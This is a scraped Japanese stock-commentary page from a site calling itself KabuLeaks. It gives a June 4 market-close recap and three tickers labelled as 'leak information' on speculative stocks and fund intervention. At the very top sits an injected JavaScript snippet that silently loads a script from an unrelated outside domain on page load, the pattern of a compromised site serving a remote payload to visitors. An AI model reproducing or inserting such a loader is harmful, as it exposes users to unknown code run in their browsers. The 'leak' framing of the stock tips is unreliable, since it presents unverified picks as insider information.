;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【6/4 大引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【6/4 大引け】

【5703】日本軽金属ホールディング 233円 +3 (+1.3%)

【3347】トラスト 318円 +2 (+0.63%)

【3639】ボルテージ 2,641円 +347 (+15.91%)

本日の日経平均株価は14円高と反発。欧米株高や円安基調を受け買い優性スタートとなったが、一巡後は明日の米雇用統計を控えこう着感の強い相場展開となった。後場入り後は20500円台の狭い値幅で推移していたが、上海総合指数が急落から一時マイナス転換。大引けにかけて切り返す動きとなりプラス圏は維持した。業種別では、保険、証券、ガラス・土石製品、銀行、金属製品などが値上がり上位。一方、水産・農林、電気・ガス、ゴム製品、倉庫・運輸関連、陸運などが値下がり上位となった。

個別では、マイナンバー関連としての人気から【9748】エヌジェーケーが一時ストップ高。年初来高値を更新したほか、14時にオウケイウェイヴとのパートナー契約締結を公表した【3645】日本メディカルネットコミュニケーションズが一時15.2%高と急騰する場面があった。また、特段の材料は確認されていないものの、値動きの軽い中小型株。循環物色の流れから【2323】fonfunがストップ高。【7897】ホクシンが後場急伸から大幅高に。